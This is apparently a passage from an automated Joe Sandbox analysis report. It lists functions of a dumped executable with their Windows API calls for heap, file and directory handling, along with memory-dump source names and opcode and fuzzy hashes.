                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: CriticalSection$AllocateEnterHeapInitialize
                                                                                                          • String ID:
                                                                                                          • API String ID: 1616793339-0
                                                                                                          • Opcode ID: ba869b70dadc95adccf46eac288c3ec4a3f94eb288c9c5288a46f5d51cb0c97c
                                                                                                          • Instruction ID: 7c2cfac85a053aeac9454e1c2b35b253285297f11283e44f43d764ba5cf7311f
                                                                                                          • Opcode Fuzzy Hash: ba869b70dadc95adccf46eac288c3ec4a3f94eb288c9c5288a46f5d51cb0c97c
                                                                                                          • Instruction Fuzzy Hash: 1A217431E44605EBDB10AFA9DC42BDAB7B4EB01765F10421BF411EB2D0C778AAC28A58
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00413F9F Relevance: 1.6, APIs: 1, Instructions: 75memoryCOMMONLIBRARYCODE
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • RtlFreeHeap.NTDLL(00000000,00000000,00000000,?,00000000,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074), ref: 00414073
                                                                                                            • Part of subcall function 0041570A: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415747
                                                                                                            • Part of subcall function 0041570A: EnterCriticalSection.KERNEL32(?,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415762
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: CriticalSection$EnterFreeHeapInitialize
                                                                                                          • String ID:
                                                                                                          • API String ID: 641406236-0
                                                                                                          • Opcode ID: d24b5f948fba04bba88b9cd0cdc5eff1b7a8b89ab7c34ea04cbff2048bde7936
                                                                                                          • Instruction ID: 47133188c5d3e4a4a91398ef735a592283a7fe3b34e77d79aa204ad2d485eaa9
                                                                                                          • Opcode Fuzzy Hash: d24b5f948fba04bba88b9cd0cdc5eff1b7a8b89ab7c34ea04cbff2048bde7936
                                                                                                          • Instruction Fuzzy Hash: 8321C572901609EADB20ABA6DC46BDE7B78EF48764F14021BF511B61C0D77C89C18AAD
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0040A011 Relevance: 1.5, APIs: 1, Instructions: 48COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 0040A016
                                                                                                            • Part of subcall function 00409C49: __EH_prolog.LIBCMT ref: 00409C4E
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog
                                                                                                          • String ID:
                                                                                                          • API String ID: 3519838083-0
                                                                                                          • Opcode ID: a5db852efdc6b67417a23c65be594c4014babbfd4966d5bc1e1ef807a1e39f82
                                                                                                          • Instruction ID: 1dffea12e82b47f2a36155f0264cd4dada82ecc0bfe076f3ab6191fd12039e28
                                                                                                          • Opcode Fuzzy Hash: a5db852efdc6b67417a23c65be594c4014babbfd4966d5bc1e1ef807a1e39f82
                                                                                                          • Instruction Fuzzy Hash: 4C118FB0A01254DADB09EBAAC5153EDFBA69FA1318F14419FA542732D2CBF81B048666
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 004092E9 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 004092EE
                                                                                                            • Part of subcall function 00402634: __EH_prolog.LIBCMT ref: 00402639
                                                                                                            • Part of subcall function 00405841: __EH_prolog.LIBCMT ref: 00405846
                                                                                                            • Part of subcall function 00413D3D: RaiseException.KERNEL32(00000003,00000000,00000003,?,00000003,?,00000003,00000000,00000000,00401055,00000003,?,00000000), ref: 00413D6B
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog$ExceptionRaise
                                                                                                          • String ID:
                                                                                                          • API String ID: 2062786585-0
                                                                                                          • Opcode ID: 0f97881bfda5a338648d471f12701516f54a75613031e54e105c5c79c14cffea
                                                                                                          • Instruction ID: f7fbb3e9a8787d76bf0f9f15101cef5fd9d7ebfa1ebb25f778e30044bb5e9d70
                                                                                                          • Opcode Fuzzy Hash: 0f97881bfda5a338648d471f12701516f54a75613031e54e105c5c79c14cffea
                                                                                                          • Instruction Fuzzy Hash: 7B01D6766406049ACB10EF25C451ADEBBB1FF95318F00852FE896632E1CB785649CF54
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00404D6C Relevance: 1.5, APIs: 1, Instructions: 40COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 00404D71
                                                                                                            • Part of subcall function 00405417: __EH_prolog.LIBCMT ref: 0040541C
                                                                                                            • Part of subcall function 00404C4A: __EH_prolog.LIBCMT ref: 00404C4F
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog
                                                                                                          • String ID:
                                                                                                          • API String ID: 3519838083-0
                                                                                                          • Opcode ID: 0829d6d4e2349ba8d3de6fc09fd6bc5a7f7a281632d8264b3d1e6490f9b222f7
                                                                                                          • Instruction ID: f66e6ca9409e8e8da17af4a7d05db337a423f76100d3163e29410ef6f876c1fe
                                                                                                          • Opcode Fuzzy Hash: 0829d6d4e2349ba8d3de6fc09fd6bc5a7f7a281632d8264b3d1e6490f9b222f7
                                                                                                          • Instruction Fuzzy Hash: 4901A2B25101049ACB09EF90C852BED7B70EF94308F00412FE505776D2DB395A99CA48
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 004027A6 Relevance: 1.5, APIs: 1, Instructions: 35COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog
                                                                                                          • String ID:
                                                                                                          • API String ID: 3519838083-0
                                                                                                          • Opcode ID: 01677122db5f9a9dc92e0e68fc714b810c240e95920f6c7928f993aadc845804
                                                                                                          • Instruction ID: 116dfd3529ede02fc162d870fedee277598c738aed7d6567ac0ffa60a71ea666
                                                                                                          • Opcode Fuzzy Hash: 01677122db5f9a9dc92e0e68fc714b810c240e95920f6c7928f993aadc845804
                                                                                                          • Instruction Fuzzy Hash: BCF04F719005069BDB15EB9AC892AEFBBB5FF80308F00403FE142775E2CA787985DB84
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 004048B7 Relevance: 1.5, APIs: 1, Instructions: 30COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • SetFileAttributesW.KERNELBASE ref: 004048F1
                                                                                                            • Part of subcall function 004048FF: __EH_prolog.LIBCMT ref: 00404904
                                                                                                            • Part of subcall function 004048FF: AreFileApisANSI.KERNEL32(?,?,?,?,?,00000000), ref: 00404920
                                                                                                            • Part of subcall function 0040489C: SetFileAttributesA.KERNELBASE(?,00000000,00404D1C,?,00000000,0000002A,0000005C,00000003,?,00000000), ref: 0040489E
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: File$Attributes$ApisH_prolog
                                                                                                          • String ID:
                                                                                                          • API String ID: 3885834519-0
                                                                                                          • Opcode ID: 5b715810b1dd674a34631cbecd8c08cc0b37525bd29b6e223b4e60d05e4c896b
                                                                                                          • Instruction ID: d8abee0b5bf8aaacd3c7805e8248c04f8c14d25ec22198af343fb12e16f398c4
                                                                                                          • Opcode Fuzzy Hash: 5b715810b1dd674a34631cbecd8c08cc0b37525bd29b6e223b4e60d05e4c896b
                                                                                                          • Instruction Fuzzy Hash: 76E02B66F002502BC7103BA5AC065DB3B9D9B81314B20C43BA602A3291E9388E44A258
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0040499C Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • CreateDirectoryW.KERNELBASE(?,00000000,?,?,00000000), ref: 004049D0
                                                                                                            • Part of subcall function 004048FF: __EH_prolog.LIBCMT ref: 00404904
                                                                                                            • Part of subcall function 004048FF: AreFileApisANSI.KERNEL32(?,?,?,?,?,00000000), ref: 00404920
                                                                                                            • Part of subcall function 0040498D: CreateDirectoryA.KERNELBASE(?,00000000,00405228,?,?,?,?,00000003,?,00000000,?,00000000), ref: 00404990
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: CreateDirectory$ApisFileH_prolog
                                                                                                          • String ID:
                                                                                                          • API String ID: 1021588753-0
                                                                                                          • Opcode ID: 64b02790250bc5f7a2d9c9dee2bb0ba3baf7154ac0717740dd27b10109941aca
                                                                                                          • Instruction ID: 2f64d7a75cdf7ff6db5ed191fdbb19fa086d8aebc57dacf92a4c812467fb8a6f
                                                                                                          • Opcode Fuzzy Hash: 64b02790250bc5f7a2d9c9dee2bb0ba3baf7154ac0717740dd27b10109941aca
                                                                                                          • Instruction Fuzzy Hash: 18E0DFA0B002002BCB147B79AC0679E376D4B80218F10867EA652671E1EA7999449608
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 004050AB Relevance: 1.5, APIs: 1, Instructions: 25COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • GetTempFileNameA.KERNELBASE(?,?,00000000,00000003,?,?,00000000,004050FF,?,?,?,00405160,?,?,?,00000003), ref: 004050CE
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: FileNameTemp
                                                                                                          • String ID:
                                                                                                          • API String ID: 745986568-0
                                                                                                          • Opcode ID: b528cc7740eeb1b4bc26185d4807bc948aa73c1e47f21f7391ebf62f515a6cd3
                                                                                                          • Instruction ID: d5c13e583cf4c34c7a3a11816bb62f42e40da82da4d3cfe63a6d47b8b5213b5b
                                                                                                          • Opcode Fuzzy Hash: b528cc7740eeb1b4bc26185d4807bc948aa73c1e47f21f7391ebf62f515a6cd3
                                                                                                          • Instruction Fuzzy Hash: 91E086723016106BD71056699C45A4BA7DEDFD8752F15843FB545E3381D6B48C004A78
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00405D59 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • SysAllocString.OLEAUT32(?), ref: 00405D71
                                                                                                            • Part of subcall function 00413D3D: RaiseException.KERNEL32(00000003,00000000,00000003,?,00000003,?,00000003,00000000,00000000,00401055,00000003,?,00000000), ref: 00413D6B
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: AllocExceptionRaiseString
                                                                                                          • String ID:
                                                                                                          • API String ID: 1415472724-0
                                                                                                          • Opcode ID: 313272d88e3834385c103984260c6c8c9ca4a4ab5fd4d804f695adf0373ca9e7
                                                                                                          • Instruction ID: d0734d5c7e5939215d37afae748a6b456316f2180b0855a0f59ce99ff0d6cfc1
                                                                                                          • Opcode Fuzzy Hash: 313272d88e3834385c103984260c6c8c9ca4a4ab5fd4d804f695adf0373ca9e7
                                                                                                          • Instruction Fuzzy Hash: C0E0E572640704A6C7209F65D8559877BE8EF00385B10C43FF548D6150E779E5508BD8
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 004058CD Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 004058D2
                                                                                                            • Part of subcall function 00405806: __EH_prolog.LIBCMT ref: 0040580B
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog
                                                                                                          • String ID:
                                                                                                          • API String ID: 3519838083-0
                                                                                                          • Opcode ID: 4dbd7d17023fb4ed967e01381c8a8867ec9f7b58b557c0ee91cef2e13e81d9e3
                                                                                                          • Instruction ID: 5bfd618a99589873673dbdde5608ad138896477ef474a485a6b18cf586c7d2b5
                                                                                                          • Opcode Fuzzy Hash: 4dbd7d17023fb4ed967e01381c8a8867ec9f7b58b557c0ee91cef2e13e81d9e3
                                                                                                          • Instruction Fuzzy Hash: E7E01A72D410049ACB05BB95E9526EDB778EF51319F10403BA412725919B785E18CA58
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00405C87 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00405CAA
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: FileWrite
                                                                                                          • String ID:
                                                                                                          • API String ID: 3934441357-0
                                                                                                          • Opcode ID: e8bb3e3f97a2863afff16af0127552a93838812ee23e56086e0288621279a6ee
                                                                                                          • Instruction ID: 646c0e8b7f70081892c45aa98fa77e415187d9694f298a279afc83584de54578
                                                                                                          • Opcode Fuzzy Hash: e8bb3e3f97a2863afff16af0127552a93838812ee23e56086e0288621279a6ee
                                                                                                          • Instruction Fuzzy Hash: F8E0E575600208FFCB11CF95C801B8E7BF9EB09364F20C069F914AA260D339EA50DF54
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 004057CF Relevance: 1.5, APIs: 1, Instructions: 19fileCOMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • FindNextFileA.KERNELBASE(000000FF,?,00000000), ref: 004057E2
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: FileFindNext
                                                                                                          • String ID:
                                                                                                          • API String ID: 2029273394-0
                                                                                                          • Opcode ID: 3f971b6e9297c3c0785ec7bffefe866e244883e864d52b31c5d14701259a415c
                                                                                                          • Instruction ID: a758ab2b17ce6f49d488120cb08fd5c978c50398f8c9baf96463bb2a7ddcf629
                                                                                                          • Opcode Fuzzy Hash: 3f971b6e9297c3c0785ec7bffefe866e244883e864d52b31c5d14701259a415c
                                                                                                          • Instruction Fuzzy Hash: 7CD0C231140009ABC711EB21DC41EEA33ADEB04348F144075AA495B1B0EA319D489F54
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00405841 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 00405846
                                                                                                            • Part of subcall function 004055DE: __EH_prolog.LIBCMT ref: 004055E3
                                                                                                            • Part of subcall function 004055DE: FindFirstFileW.KERNELBASE(?,?), ref: 00405611
                                                                                                            • Part of subcall function 0040551A: FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: FindH_prolog$CloseFileFirst
                                                                                                          • String ID:
                                                                                                          • API String ID: 2004497850-0
                                                                                                          • Opcode ID: 220b4cbfc40620496b03372d3826f196b8ab05123004ed9f75f8387d5271fe3c
                                                                                                          • Instruction ID: b7fde63f1f0c292b4e5d00ec8c3d5d27a79480d2707f186765d0e2b5b752fd38
                                                                                                          • Opcode Fuzzy Hash: 220b4cbfc40620496b03372d3826f196b8ab05123004ed9f75f8387d5271fe3c
                                                                                                          • Instruction Fuzzy Hash: 7CE04FB1951506ABCB14DF50CC52AEEB734FB1131CF10421EE021722D08B785648CA28
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00405806 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                          Download Yara Rule
